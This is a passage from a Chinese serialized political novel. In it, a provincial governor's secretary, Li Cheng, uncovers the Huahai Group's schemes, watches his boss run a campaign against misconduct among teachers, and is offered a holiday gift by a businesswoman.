孟良德在京城开会,作为专职秘书,省长都不在,他的工作自然也闲暇下来不少。 每天早晨,李承按照惯例都会去秘书长办公室走一圈。 询问一下工作安排。 “老领导,昨晚没睡好呀,看着无精打采的呢。” 李承装作昨晚的消息没看见,随口调侃起杨兆华。 从他无精打采的样子可以看得出来,他跟那群人没少把酒言欢。 杨兆华是了解李承性格的人,如果李承对于他的状态漠不关心,反而会让对方起疑心。 “嗯,跟几个朋友喝酒来着,没太睡好。”杨兆华挤出一个笑,说。 “你年纪大了,要多注重休息,少喝点酒。”李承提醒道。 “知道。” 杨兆华微微点头,问李承:“昨天我跟朋友喝酒,遇见审计局那个小姑娘了,你徒弟。” “陈思琪呀。”李承说。 “对,跟她聊了两句,她说跟你闹别扭了?”杨兆华试探地问。 这是在试探李承有没有看到那张照片。 虽说照片被及时撤回,但他不确定李承有没有看见。 “我跟她又不是男女朋友,有什么闹别扭的,只是这个人....”李承没有继续说下去,他摇了摇头,用动作表示。 “她昨晚给我发微信,问我猜她遇到谁了,应该说的就是你吧。”李承再次开口,说。 “嗯,应该是。”杨兆华点头:“她说你不理她,到底是怎么回事,闹成这样?” “她想害我....” 接下来李承将事情的经过一五一十告诉给了杨兆华。 包括他刚上任省长秘书时,陈思琪想要以身体作为交换条件,帮她调任工作。 以及李承帮他弟弟维持司法公正,而她却忘恩负义,偷拍照片,还给了花海集团的人。 这些事,李承完全没有隐瞒的必要。 就算他隐瞒,昨晚跟杨兆华吃饭的人中,还有威胁过李承的毕阳,这些消息他不难得知。 “要不是因为工作,我早给她拉黑了。”李承摆出一副愤愤不平的样子,说。 “那你就故意不想回她消息?” 杨兆华以一种玩笑的口吻说。 可这句话之下,是试探。 他在试探李承是故意不回,还是没有看到。 “也不算故意不回吧,这几天视察也没怎么休息,送孟省长去机场,回家吃完饭就睡着了,醒来都凌晨了。” 李承解释说。 以睡觉作为掩饰,将陈思琪消息的时间点错过。 “你跟我讲实话,你跟她到底有没有实质性关系?”杨兆华问。 “没有,真没有。”李承摇头。 “那就行。” 闻言,杨兆华点了点头,说:“你的身份不同,可以正常谈恋爱,但一定要注意形象,不能在外面沾花惹草,听见没?” “我知道。”李承答应。 “陈思琪那小丫头,还想让我帮她说说情,但她做这种事,你不理她是对的。”杨兆华说。 “唉...工作这么多年,就教这一个徒弟,还是个白眼狼,寒心呐。”李承感叹一声。 “你就庆幸吧,还好她心机浅,目的性强,如果那天生米煮成熟饭,你可就要被牵着鼻子走了。” 杨兆华宽慰道。 这句话在理。 如果那一天,陈思琪没有提出调任工作的事情,李承说不定真就中了她的美人计。 而李承完全不知道陈思琪在偷拍录像。 若真对陈思琪做了什么,以陈思琪的性格,一定是个大麻烦。 “嗯,确实。” 跟杨兆华又聊了几句,李承走出他的办公室。 在出门口,他脸上的笑容收敛起来。 经过刚才杨兆华的试探,李承推测,杨兆华大概率已经选择了新的队伍。 他询问李承,就是担心李承知道后,跟孟良德做汇报。 知道这个结果,李承不免为孟良德担心起来。 省政府这是又被安插了个‘间谍’,而这个‘间谍’又是孟良德信任的人。 这比秦海更难对付。 至少,秦海是明面上的,可杨兆华的背地里的。 正所谓明枪易躲暗箭难防,以后孟良德的工作开展,尤其是针对政敌上的工作部署,将更难开展。 第136章 棋子 副省长是权威,是地级市领导不可撼动的。 作为省部级(副职)领导,在他的亲自调查下,恺奥医疗的问题,很快有了突破性进展。 这种快速突破,也与孟良德的安排有关。 别看张益华这位省委秘书处的处长,在谢威面前毫无话语权和影响力可言。 可恰恰是这位‘透明人’,起到了最关键的作用。 恺奥医疗涉及容城市委书记李宽,在党政分线上,保证党、政管理事项的边界性,谢威无权干预市委。 但张益华的存在,就给了谢威这种权力。 孟良德在电话中,简单对省委书记马洪波汇报了恺奥医疗的表面情况,这才在洪波书记的许可下,留下张益华配合。 这也证明,张益华的留下,是被赋予省委权限的,相当于带着省委书记这块金字招牌。 他留下的任务,就是对此次事件进行监督,向省委书记汇报。 是省委书记的眼睛。 在这双眼睛的监视下,李宽只能走出下下策。 那就是放弃一枚棋子。 此事无法圆满解决,孟良德的步伐逼得够进,让李宽喘息机会变少。 最终的结果是,李宽的秘书主动去市纪委进行自首,扛下了所有的责任,为李宽撇清责任。 李宽靠着放弃一小部分人,换来平稳落地。 恺奥医疗的CT机问题上,省药监局也派出专人,进行全方面的审核,直接绕开了市里。 谢威向孟良德汇报完情况,离开后,孟良德淡淡开口:“小李啊,给我约一下洪波书记的时间。” “好的省长。”李承答应。 李承很清楚,孟良德并不打算就此轻易地放过李宽,他要见省委书记马洪波,就是要再次出击。 李宽的危机也并不止于市里,不是他丢出一个傀儡,就能妥善解决的。 他的危机,在省委常委的会议桌上。 李承与省委书记的秘书约定好时间,下午两点半,两人赶到了省委大院。 省长和省委书记的闭门会谈,李承是没有资格进去旁听的,只能在省委书记的秘书间静静等待。 一个小时后,办公室房门打开。 孟良德走了出来,省委书记马洪波亲自将他送到门口,两个人的脸上都挂着笑容。 看样子,两个人再次达成了某种政治共识。 “马书记好。” 见马洪波的目光投向了自己,李承微笑点头问好。 “你叫李承,对吧?” 马洪波淡淡笑着,目光停留在李承身上。 “是的书记。”李承回应。 “东江问政我也有看过,年轻人敢于提议,敢于创新,不错。”马洪波对李承表示赞许。 对于领导的夸奖,如何回复,也很有讲究。 得先清楚对方夸赞的点。 马洪波夸的不是李承在节目上的表现,而是提出《东江问政》这个节目。 “节目能播出,是马书记和孟省长的认可与支持,我只是随口提了个想法,也没想到孟省长会决定开展。”李承笑着回道。 “良德同志,你这个秘书很谦虚嘛,哈哈哈。” 几句话后,李承和孟良德离开了省委。 回省政府的路上,李承内心是很好奇孟良德与马洪波到底聊了什么。 从两人刚才的神情来看,他们应该达到了自己想要的目的。 好奇心是人的本能。 但作为秘书,李承要收起自己的好奇心。 任何不该自己知道的事情,一律不能过问。 如果省长想让他自己,也自然会说。 “老板,市里的学校也陆陆续续都放假了,要不要整治一下纪律作风问题?”李承说。 当初在费筱筱被老师针对事情传入孟良德耳中时,孟良德说过,让李承等学校放假时,提醒他。 为了不搞得人心惶惶,让老师们可以专心教学,孟良德在当时放任了这个问题。 “嗯,是时候了。”孟良德点头。 思索了片刻后,孟良德吩咐道:“明天抽个时间,让市纪委书记,教育局局长,还有信访局局长一起来见我。” “好的老板。” 省长的时间安排,是由省办公厅进行统筹规划。 一部分时间,已经被提前预定了出去。 所以孟良德也不能挑选时间来会见这些人,需要与办公厅进行交涉。 而这次,孟良德要彻底整顿教育风气,就要以雷霆万钧的手段来彻底粉碎那群人的侥幸心理。 这需要多个部门的联动配合。 ..... 次日。 下午十点。 市纪委书记邢小军,教育局局长王海涛,还有信访局局长廖光辉陆续抵达了省政府。 分管教育的副省长历长江也到场。 李承将他们带到省长办公室,面见孟良德后,沏了一壶茶,这才走进去。 “这次叫你们三位同志过来,是想整顿汉江的教育风气,海涛同志,你主管市教育部门,对于学校内存在的乱象,可有了解?” 孟良德看向王海涛,问。 “了解过。” 王海涛表情严肃,说:“我们教育局确实接到过不少举报,信访局那边也转达过举报情况。” “在之前,你是怎么解决的?”孟良德问。 在他们谈话的过程中,李承拿出五个杯子,倒上茶,分别放在五人面前。 “谢谢。” 王海涛对李承的茶轻声感谢,继续回答孟良德的问题:“局里也找到过被举报的教师,给予批评和警告,这种乱象,无法彻底纠正。” “只有批评和警告吗?这力度,太轻了吧?”孟良德端起茶杯,抿了一口茶,说。 “孟省长,我也想过转交纪委部门审查,但这些教师都是我们市宝贵的教育资源。 这种乱象已经出现很久,涉及人员过多,收礼的,开设补课班的比比皆是,如果查下去,怕是整个汉江的教育资源都会出现亏空。” 王海涛无奈地说。 他所言,也是孟良德一直担忧的问题,不然,孟良德早就动手了。 但孟良德之所以还要问,就是想看看王海涛的态度。 孟良德放下茶杯,表情严肃:“不能因为怕问题,而不解决问题,这种乱象必须彻底清除,否则,只会助长他们的歪风邪气。” 第137章 整顿校风 “教师的放纵,是监管不力,管理松懈导致,首先要对各个学校的管理层进行彻查,对于管理层,发现问题,必须移交纪委严惩。 其次,为了保证教育资源不流失,先不对在职教师进行处罚,但要对所有退休教师进行一次反查,倒推二十年。 光辉同志,你回去整理一下这些年关于对教育方面的举报内容,移交给教育局那里。” 孟良德简洁说出自己的措施后,开始部署工作。 这些领导在听完孟良德的方案后,也纷纷点头表示认可。 这样做,一来不会导致教育资源流失,不会影响学生们的学习。 二来,也起到了杀鸡儆猴的作用,让这些教师知道,省里对待教育风气的严肃态度。 让他们不敢再胡作非为。 而对管理层的严厉惩戒,是从根本解决问题。 教师的放纵,很大程度是管理层的懈怠。 “好的孟省长。” 廖光辉答应后,孟良德继续说:“海涛同志,你的任务就是跟小军同志打好配合,将我的部署贯彻落实下去。” “明白。” “长江同志,你看看是从哪个区开始执行,还是从小学到高中,逐个进行,你来统筹负责一下。” 孟良德对历长江说道。 彻查整治的基本,是在不耽误学校正常运转的情况下。 同一时间对多所学校进行彻查,会导致管理资源的一定亏空,所以要分批进行。 “好。”历长江答应。 “必要时,可以拿个别问题严重的在职教师开刀。” 部署完任务后,孟良德将历长江单独留下,其余人则离开了省政府。 历长江是这次任务的负责人,孟良德要着重强调,这次行动的几大关键要素。 ..... ‘我的爱如潮水,爱如潮水将我向你推....’ 下午,李承正在综合一处分配相应工作时,手机响了起来。 这是一个陌生号码。 “喂,你好?” 对于任何电话,李承都不会错过。 “李秘书,我是刘秀英,你还记得我吗?”刘秀英说。 “记得,怎么了?” 数月前,李承调查黄天耀的锦绣置业为何崩盘时,走访过刘秀英的家。 她老公马泽是黄天耀手下的总监。 但当时,刘秀英说到关键时,正赶马泽回来。 马泽不愿提及半点与花海集团有关的事情,李承最终也无功而返。 自此之后,他们再也没有联系过。 但临走前,李承还是把自己的电话留给了刘秀英,方便他们联系。 “我老公想跟您见一面。”刘秀英说。 “好,等我下班联系你们。” 马泽要见自己,九成是跟花海集团和锦绣置业有关。 虽说,这件事被搁置了,却并没有彻底结束,孟良德也在等待机会。 对方主动要求见面,李承自然乐意。 “嗯,李秘书您下班之后就直接到我家里吧。”刘秀英说。 “好的。” 下班后,李承将孟良德送到迎宾馆。 拒绝了王师傅的相送,独自一人打车来到了刘秀英的家。 ‘咚咚咚...’ 敲响房门,这次给李承开门的人是刘秀英的丈夫,马泽。 “李秘书,您来了。” 这次见面,马泽没有上次激进的态度,脸上挂着歉意的笑容:“上次的事情,您别往心里去。” “不会,我理解你们。” 李承走进屋内,发现里面很多生活用品已经搬空。 客厅里还有几个大大的行李包。 “李秘书。” 刘秀英抱着孩子,跟李承打了个招呼。 “你们这是要搬家了?”李承问。 “嗯,准备去南方生活。”马泽说。 “是遇到什么事情了吗?”李承本能地联想到花海集团。 “以前认识的一个老板在陵水做项目,喊我过去帮忙。”马泽笑了笑,说。 “这是好事呀。” 马泽已经被花海集团在汉江市封杀,在汉江,他找不到什么好工作。 离开汉江,对马泽一家来说,是件好事。 “是呀,这套房子还能卖不少钱,足够我们一家去陵水定居。” 马泽点了点头,从冰箱里拿出饮料递给李承:“李秘书,您坐。” “谢谢。” 李秘书坐在沙发上,刘秀英也抱着孩子回到屋里,客厅只剩下李承和马泽两个人。 “这次叫您过来,我就是想把您想知道的,都告诉您。”马泽道。 花海集团的封杀,让他家庭的生活水平直线下滑。 他对花海集团有怨恨,可在汉江,他是敢怒不敢言,他得罪不起李美娇。 现在,他准备离开这座城市,也就无所顾忌。 “我想知道,黄天耀蒸蒸日上的公司,为什么最后会沦落到逃亡的地步。”李承问。 “这跟黄总准备开发锦绣广场,向李美娇借的过桥贷款有直接关系....” 接下来,马泽将全部过程,他知晓的部分全部讲述给了李承。 其中,关于借贷过程,以及花海集团通过手段,导致黄天耀保证金被扣押,从而违约的事,李承上次从刘秀英口中听说过。 “上次我老婆跟你说,黄天耀不同意用天玺楼盘下的沿街商铺作为偿还,其实并不对。 其实,黄总也知道了花海集团的难缠,他选择认栽,想跟李美娇彻底断绝关联。 黄总不同意是怕花海集团还有其他手段,他需要一个人来担保。 而这个给他们调解的人,就是上任省长李雪忠。” 听到马泽的讲述,李承眉头轻皱,问:“都说黄天耀背后有李雪忠的帮扶,有他调解,黄天耀也选择认栽,怎么闹到这种地步?” “李秘书,您也在官场上工作,应该清楚政治的水有多深,哪有什么永远的朋友,都是为了个人利益最大化。 黄总跟李雪忠的关系的确很好,锦绣置业的快速发展,也是在李雪忠的扶持下。 但在这件事情上,李雪忠站在了花海集团那一边,传言是李美娇跟李雪忠有那方面的关系,被李美娇拿住了把柄,这种事,也不好说。 不过呢,花海集团从最开始的目的,就是彻底榨干锦绣置业,李美娇拿到商铺后,也并没有罢手。” 第138章 幕后 “在交接之前,其中三十余套商铺,顺利落户到李美娇的个人名下,但还有十几套被银行冻结。 黄总在银行有贷款,银行给出的结论是,黄总涉嫌转移财产,被风险预警。 其实,明眼人都知道,这里面有违规操作,是花海集团在背后捣鬼,他们故意给黄总一些烂摊子作为继续侵占锦绣置业的理由。 再后来,黄总找到了李雪忠,但李雪忠却不愿意伸出援助之手。 这也导致锦绣置业再次与花海集团陷入纠纷,就这样,花海集团一步步地开始通过各种手段,开始勒索黄总。 直到黄总破产。” 马泽点燃了一根香烟,将他所了解的全部情况讲给了李承。 他毕竟不是黄天耀的核心下属,知道的也有限。 “哦哦,这么回事。”李承点了点头。 这些违规操作都可以作为突破口,而且,李雪忠也一定知道很多内幕消息,孟良德查的话,或许可以从他那里得知更多。 “其实,我选择离开,也跟花海集团有关系。”马泽说。 “我知道,他们对你的工作进行了封杀。”李承道。 “不是。” 马泽摇了摇头。 “还有其他事?”李承眉头皱得更紧。 “黄总出事不久,他们对黄总那些老下属也进行了威胁,我不是核心成员,没有对我做什么。 但我怕有朝一日,会找到我的头上,孩子还怎么小,经不住他们折腾。”马泽控诉道。 “还有这种事?” “嗯,花海集团手底下养了很多马仔,雷二利就是给他们办事的。”马泽道。 听到这个名字,李承心中的一股火起。 “他们简直无法无天了!” 雷二利是谁? 那是汉江的江湖大哥,是癫子的老大,是那晚将李承沉江威胁的幕后主使。 雷二利给花海集团办事。 这也就侧方验证了,那晚李承出事,有花海集团的操作。 再联想到照片威胁事件,李承感觉自己一阵头皮发麻。 花海集团到底是一个怎么样的公司,能在汉江市,乃至是东江省如此肆意妄为。 他们的背后又是谁? 李承突然觉得,自己从上任以来,每一件重要事情的背后,或多或少都有花海集团的影子。 这是巧合? 还是花海集团的涉及太广? 亦或者说,每一件事的背后,都有孟良德将工作重点,刻意朝着花海集团的方向去摸索.... 李承揣测不出来。 但有一点他很清楚,花海集团的背后,就是孟良德的政敌派系。 而这个派系,又会不会与马洪波有关联呢? 李承不知道。 但他已经卷入到了一场政治斗争中,成为棋局中的一子。 ..... 周五。 李承接到了老房东姜叔的电话,请他到家中做客。 李承答应了。 买了一些水果,当李承进入家门时,屋里饭菜飘香。 “你说你来就来呗,买东西干什么,下次拿东西我可不叫你来家里吃饭了。”姜叔看到李承手里拎着的水果,埋怨道。 北方人就是这样,总会客气几句。 “我就买了点水果,都是你愿意吃的。” 租姜叔房子时,李承没少到他家蹭饭,对于姜叔喜欢的水果,他了解。 “哈哈,这大头梨确实符合我的胃口。” 姜叔哈哈一笑,从李承手里接过水果:“进屋坐,马上菜就好了。” “嗯。” 李承点了点头,走进厨房跟姜叔的老婆打了个招呼:“姜婶儿。” “来了,你先跟你姜叔唠会嗑。”姜婶热情地说。 “好。” 刚坐下,房门就开了。 姜叔的儿子姜斌,拎着两瓶茅台走了进来,笑着跟李承打招呼:“承哥。” “嗯,刚下班呀?”李承道。 “下班有一会儿了。”姜斌道。 “这不,他听说你要来家里吃饭,为了感谢你,特意出去买了两瓶好酒。”姜叔笑呵呵地说。 “咱爷俩就整点你常喝的散白就行,这酒太贵了,退了去。”李承道。 两瓶飞天茅台,标价就要三千块钱。 但标价不是谁都能买到了,这东西有溢价的成分在。 据李承的了解,一瓶酒大概要炒到三千块钱,一顿饭喝几千块钱的酒,对李承来说太奢侈了,没这个必要。 “领导喝酒,不都喝这个嘛,喝别的怕承哥喝不习惯。”姜斌挠了挠头,说。 “这种酒我才喝不习惯,那么贵,咱们就家常饭喝家常酒就行,我也不喜欢那股子酱香味。” 李承再次婉拒:“你上班赚钱也不容易,不用把钱浪费在这种地方。” “酒买了,就不能退了。”姜斌尴尬地说。 “那就留着你送领导用。” “这...” “就听你承哥的。” 姜斌还想坚持,被姜叔打断了。 “好吧。”姜斌点了点头,将酒放在柜子上,走到沙发坐下。 “最近工作怎么样?还顺利吗?”李承问姜斌。 “自从我们老总知道你的身份,对我格外关照,很顺利,还给我提拔了职位,我现在一个月能开到一万多呢。”姜斌感激地说。 “嗯。” 对此,李承也早有预料。 这个社会就是一个关系社会,只要有关系,就能得到特殊关照。 公司如此,学校也如此。 人脉资源大于努力,在人脉面前,努力往往显得不值一提。 “但你也不要恃宠而骄,真本事才是硬道理。”李承叮嘱道。 李承可以帮他这一次,但不能一直帮他。 如果他没有真正站住脚步的本事,等李承从省长秘书这个职位下来,他也将一落千丈。 人走茶凉,这就是现实。 “嗯,我知道了。”姜斌答应。 “你承哥给了你更好的平台,你可要努力,别辜负他的苦心。”姜叔也在一旁附和道。 “知道了,爸。” 几人聊天时,姜婶将饭菜端上桌:“吃饭了,小斌,给你哥倒酒。” “好。” 坐上餐桌,李承品尝起姜婶的饭菜,不由赞叹:“姜婶的厨艺还是这么精湛呀,好久没吃到这么合口的饭菜了。” 许梦和李承平时工作忙,很少做饭,大部分都吃外卖。 周末做一顿,但两个人的厨艺也很有限,总感觉差了点味道。 “喜欢吃就常来,随时欢迎。” 第139章 过于严苛 吃饭的过程中,李承感觉到了微妙的变化。 最开始,姜叔一家都十分热情,尤其是姜婶不停给李承夹菜,叫他有时间就常来,还让李承带着女朋友一起来。 但随着时间的推移,几次,李承都感觉姜婶有什么话要说,却又在姜叔的眼神示意下,欲言又止。 最后,就是姜婶一言不发,姜叔也变得沉默。 只有姜斌一直在缓解气氛,跟李承聊天,敬酒。 “姜叔,姜婶,你们是不是有什么事情找我?”李承放下筷子,抽出一张纸巾擦了擦嘴,问。 在李承困难的时候,姜叔一家给到了李承关怀,他们有一份真情在。 这也是为何姜斌工作出现问题时,李承毫不犹豫帮忙的原因。 “李承,其实今天叫你过来,确实是有件事情想找你帮忙。”姜叔听到李承主动开口,端起酒杯喝了口白酒,这才说。 “有事你们直说就行,能帮到的我会尽力。”李承道。 “嗯....让你婶儿给你说吧。” 姜叔犹豫了一下,看向姜婶儿。 李承也将目光转移到了姜婶儿身上。 “是这样,小李,你也知道,我以前是八中老师,刚退休一年多,这不是省里要查退休老师。 听说还列出了一个名单,我也在名单之内....” 姜婶先是将自己面临的问题告知给李承,随后诉苦道:“你姜叔也没有退休工资,家里的花销主要就靠我这点退休工资。 这要是查下去,我怕我这些福利待遇都给停了,虽说我和你叔这些年也攒了些钱,可姜斌还没结婚。 现在结婚多费钱呀,我们老两口的积蓄,给姜斌换套房子,买台车,付个彩礼也就没什么了,到时候,我和你姜叔也没有个保障了。” 姜婶儿是副高职称,教龄三十多年,每个月能拿到将近一万块的退休工资。 而这次对退休教师的调查,对问题教师的处罚,处理方式就是停掉他们的所有待遇。 省里决定这么做,一来,可以杀鸡儆猴,让在职教师知道严重后果。 二来,可以为省里节省一大笔开支。 教师的退休工资很高,借着这个机会,把所有问题教师的待遇停掉,每个月可以直接给政府节省数千万的财政支出。 算是各项福利待遇,每月节省的金额破亿。 政治家不会在意这些退休教师们失去这份保障后,是否会导致生活水平下降,他们要的,只是达到自己的政治目的。 何况,这些教师本身就存在问题。 “姜婶,你跟我说实话,你为什么会上这个名单?”李承问。 对于姜婶儿的请求,他是有些头疼的。 政治不讲情,可人是有感情的,姜叔一家对他不错,这个忙,也在他的权力范围内。 但是,这件事是孟省长亲手抓的,身为省长秘书,帮了姜婶儿,那跟带头唱反调没区别。 这是在犯错误。 “我之前开设过补课班,带了那么多届学生,校领导都是知情了,主科老师基本都办过补课班,那时候是常态。 现在学校校长都被教育局叫去谈话了,我们这些退休老师基本上无一幸免。”姜婶儿叹了口气,说。 “你身边的同事,在名单上有多少人?”李承问。 “嗯....具体数字我太清楚,反正我认识的这些老师,除了美术,体育,音乐这些兴趣课老师之外,基本都在名单上。” 姜婶儿说。 闻言,李承陷入了思索。 那些校领导都被叫去谈话,他们为了自保,肯定会全力配合这次教育风气的整顿。 将那些退休老师的问题一一说出。 而补课班又是常态,这么一看,按照这个势态查下去,可能七成以上的退休教师要面临惩治。 这就不是整治风气的初衷了,而是彻头彻尾的一次政治剥削。 “你收过礼吗?”李承问。 “那没有。”姜婶儿摇头。 “婶儿,你的问题我知道了。”李承点了点头,道。 如果只是因为开设补课班,就要面临被清算,这种惩罚太严苛了。 这件事,需要向孟良德反应。 “那就拜托你了,这个退休保障,对我们家来说太重要了。”姜婶儿见李承点头,如释重负地表达感谢。 在她看来,只要李承答应,这件事就基本解决。 “李承,这件事要不好办就算了,别给你工作造成影响。”姜叔说。 “放心吧姜叔,我心里有数。” ..... 次日。 李承给孟良德沏好茶,想着怎么循序渐进地切入到姜婶儿的问题。 他也想过,利用自己的身份,给教育局长打个电话,替姜婶儿求情。 只要他打了这通电话,对方一定会卖李承这个面子。 划掉一个人的名字,只是举手之劳的小事,却能让省长秘书欠下一个情,对方肯定乐意。 可李承不想那么做。 李承认为,只是单纯地开设补课班,涉及的教师太宽泛,不适合一刀切。 虽然补课班违规,可教师们也是靠着自己学术赚钱,影响并没有收受贿赂那么恶劣。 可以酌情考虑。 这不仅仅是姜婶儿一个人的问题,而是大部分教师的问题,如果单单只因为曾经开设过补课班就被清算,恐怕会引起教师们的集体反抗。 但这个反馈意见,也要找到合适的机会去说。 ‘咚咚咚...’ 正在李承想着怎么开口时,办公室的门被敲响。 “进。” 得到孟良德的许可,副省长历长江推门走了进来。 “孟省长,有件事情想跟你做汇报。” 历长江走到孟良德的对面坐下,李承也给他倒了一杯茶。 “长江同志,你说。” 孟良德端起茶杯,抿了一口茶。 “这几天教育局已经将问题教师名单大致统计出来,五成左右的退休教师,皆存在问题,人数高达上万。 而且,这只是不完全统计,汉江市下属县镇,还没有查,按照我们初定的标准,涉及人数太多了。” 历长江作为整顿教育风气的主要负责人,他将看到的问题和疑虑,汇报给孟良德。 听到他的汇报内容,李承心中一喜。 真是打了瞌睡,就有人给递枕头呀。 第140章 年假 “想到了。” 孟良德微微点头,这一切,都在他的预想之中。 他知道,以他定下的严苛标准查下去,别说是五成,就是七成的教师都会被牵连。 可见到孟良德那副早有预料的样子时,历长江严肃了。 李承的心情也跟着一沉。 莫非,孟良德就是要借这次机会,削减政府的财政支出? 可牵扯的人员这么多,对于政府的声誉一定有影响,还有那么多退休教师遭遇停薪,这群人也未必会善罢甘休。 若是孟良德执意要严苛执行下去,姜婶儿的问题,就要另做打算了。 “孟省长,那我继续按照标准执行?” 历长江喝了一口茶:“这么多人,恐怕后续问题会很严重。” “长江同志,那你觉得该怎么做?”孟良德点燃一根香烟,淡淡地问。 “主要问题在于开设补课班,我认为这一部分的教师应该排除在名单外。”历长江提议道。 涉及人数最多的问题就在补课班上,但处置开设补课班的教师,对于整治当下教育风气的作用,却并不太过于显著。 教育风气的问题,出现在收礼上。 “嗯,可以排除。”孟良德点头。 他甚至没有过多的犹豫,直接答应,仿佛早就盘算好了。 “排除掉这部分人,大概还有多少涉事人员?”孟良德追问。 “还有三四千左右。”历长江回答道。 “这些人中,按照收礼的金额进行处置,数额少的退休薪资降级处理,金额高的开除处分。 再抓几个典型,尤其是那种造成过恶劣影响,以孩子分班,升学,入团等问题谋利的教师,严惩,达到标准,涉嫌刑事,移交到公检法。 这些典型,不限于退休教师和在职教师。”孟良德吩咐道。 “好。”历长江点头。 “李秘书,纺织厂厂长的孙女,在哪个学校来着?”孟良德看向李承,问。 “一中,高三六班。”李承回答道。 “长江同志,一中的这位教师,就可以当做典型。”孟良德说。 “好的省长。” 沟通完这件事后,历长江退出了办公室。 李承给孟良德的杯中续上茶水,以请教的姿态问:“省长,您没想过处置那些开设补课班的教师吧?” “嗯,人数太多,问题也不严重。”孟良德点头。 这就是李承费解的地方,既然没想过,为什么还要查这个方向呢? 但既然孟良德这么做,就一定有他的想法,他不会多此一举,去浪费下属员工的精力与时间。 “想要彻底打击这种风气,就要让他们集体恐慌。” 孟良德猜到李承的想法,替他解开疑惑。 “这样呀,省长高明。” 李承一点就通,也明白了孟良德这么做的目的。 只有将开设补课班也加入到调查群体中,才会彻底引爆这群教师的恐慌情绪。 政府不处理,但也不会澄清。 这样一来,这些恐慌情绪就会持续蔓延。 涉及人数越多,恐慌越大,那些教师们也一定会成群结队地聚在一起,把这些情绪扩散。 这些情绪会压抑到每个在职问题教师的头上,让他们开始反省。 相比于收礼和补课,他们的工作对他们最珍贵。 而人却只有当自己要失去的时候,才知道什么最珍贵。 ..... 时间一晃,已经到了一年的尾声。 躺在床上,李承的表情略显严肃,翻看这手机的购物软件。 “怎么这么严肃呀,老公?” 许梦凑到李承身边,关切地询问道。 “这不马上过年了,我在想送领导什么东西。” 逢年过节最令李承头疼的问题,就是送礼。 给领导选礼物是一个头疼的问题,拒绝那些巴结自己的人,也是一个头疼的问题。 “投其所好呗,孟省长有什么爱好?”许梦出主意道。 “他爱好打羽毛球,我也不能送他球拍吧。”李承无奈地说。 过节的礼物,不是生日礼物,不能以个人为中心地送礼,还要考虑很多因素。 “红酒怎么样?你不说孟省长一个人的时候,也喜欢小酌一杯吗?而且过年了,家庭宴会他也能用得上。” 许梦再次给李承提了一个建议。 “不行。” 酒,李承想过。 可价格没法选,太廉价的红酒,那是不尊重领导。 太贵的红酒,又超出了规定中礼尚往来的范畴,孟良德未必会收,而且,也少了一份心意。 最好的礼物,就是一些特产类的,可汉江就那几样特产。 中秋节的时候,李承已经送过了,再送没什么心意。 “我妈妈从老家寄过来了一些特产,本来是要给叔叔阿姨的,要不你送给孟省长吧。 其中有一个火腿,是我妈自己腌制风干的,已经三年多了,每次回去我妈都不舍得给我吃,说要等着送我婆家。” 许梦想了想,突然灵机一动说:“我妈妈腌制的火腿,可比市面上能买到的要好吃很多。” “嗯,行。” 李承想了想,点头答应。 眼下,他也没有什么更好的礼品可以送。 而且,这份心意十足。 给领导送礼,分很多种情况,分人。 有些就要选价格贵重的。 有些就要考虑实用性。 而以孟良德的性格,还有李承和他目前的关系而言,最重要考虑的就是心意。 价格和实用性都是其次,最重要的一点,是让孟良德感受到心意,知道李承对他很上心,很重视。 这样,即便礼品并不合孟良德的心,他也会很满意。 最后一天工作结束后,李承将孟良德送上飞机,向孟良德要来了他的邮寄地址。 孟良德的家在京城,他总不可能让领导拎着这些礼品做飞机。 不能登门拜访,那么,最好的选择只有邮寄。 最开始孟良德是推脱的,在李承强调这些东西都是许梦自己家做的,他才愿意接受。 送走孟良德,李承又分别给杨兆华,费厂长等人送去礼品后,这才等待在省电视台门口。 等许梦录制完今天最后一期节目后,就返航回封兰老家。 第141章 会员卡 等待在省电视台门口。 这期间,李承的电话一直响个不停,准确地说,自从下班以后,他的电话就没中断过。 都是想要给他送礼的。 有综合一处的同事,有其他单位的领导,还有一些商人和朋友。 对此,李承全部婉拒。 婉拒的理由也很简单,就是他回封兰老家了。 这也不算是说谎,因为今晚接上许梦,两个人就准备连夜回去。 如此匆忙的原因,就是躲避这些送礼的人。 他怕晚一天走,明天早上就有人堵在家门口,给自己送礼。 这倒不是李承夸张,中秋节他就领教过那些人为了送礼的‘不择手段’。 “廖局,不用这么客气,我已经返航回老家了,等我回来再聚。”李承坐在车上,婉拒了信访局局长廖光辉。 “行,李秘书,等你回来我给你接风,到时候可不要再拒绝了我,哈哈哈。”廖光辉也没再继续坚持,说。 “嗯。” ‘我的爱如潮水,爱如潮水将我向你推...’ 挂断廖光辉的电话,紧接着,又有电话打了进来,是市教育局的局长,王海涛。 对此,李承是深感疲倦,却又不能不接。 ‘咚咚...’ 正当李承准备接通电话时,车玻璃被人敲响。 透过玻璃看去,来人李承很熟悉,花海集团的董事长,李美娇。 “李总。” 拉开车门,李承下了车,冲李美娇微微一笑。 虽说在李承心里,李美娇已经成为敌对派系的人。 自己被沉江的仇也与花海集团脱不了关系,但是,在官场上,表面关系还是要做好的。 “李处长,给你打电话一直打不通,我就猜到您会在这里等女朋友下班。”李美娇妩媚一笑,说。 “今天电话比较多,一直都在占线,现在还在响呢。” 李承拿起自己的手机,手机的铃声还在一直响。 这个动作是告诉李美娇,他并没有故意不接的意思。 “理解,逢年过节领导都忙,所以我才到这里找你。”李美娇笑道。 “李总亲自找我,是有什么事情吗?”李承平静地问。 “这不过年了吗?给李处长拿了一点东西,不成敬意,还请你一定不要拒绝。” 李美娇说着,从口袋里拿出一张黑色的卡片,递向李承。 “李总,这个我不能收,有规定的。” 因为是晚上,李承也没看清楚是什么卡,但无论是银行卡,还是购物卡,他都不能收。 “李处长,你的为人我了解,放心,这卡里面没有钱,这是我们公司的会员卡。 听朋友说,你和许小姐感情很好,也规划着结婚买房,拿这个卡到我们公司的楼盘买房子有折扣。 我这也算是变相给我们公司旗下的楼盘拉一个准客户。” 李美娇送礼的方式很是老练。 她抓准李承的心里,也调查过李承的情况。 知道李承不可能受贿,却在为买房而苦恼,才选择用这种方式拉近与李承的关系:“李处长,这不算是特权,也是我们公司的活动,折扣力度也有限,这种卡全市有上千张呢。” 她见李承犹豫,紧接着补充的这句话,更是对李承心理的捕捉。 换做送别的领导,她会强调卡的独一无二,告诉那位领导,花海集团对他的重视程度,以博取对方欢心。 但对李承来说,如果这张卡是独一无二的,或者说,只有一些高官领导才配拥有,那么李承绝不会收。 所以,她强调了这张卡并不稀缺,属于常见卡。 让李承能够收得安心,没负担。 全市上千张,就证明,这种会员卡不止流通在高官手中。 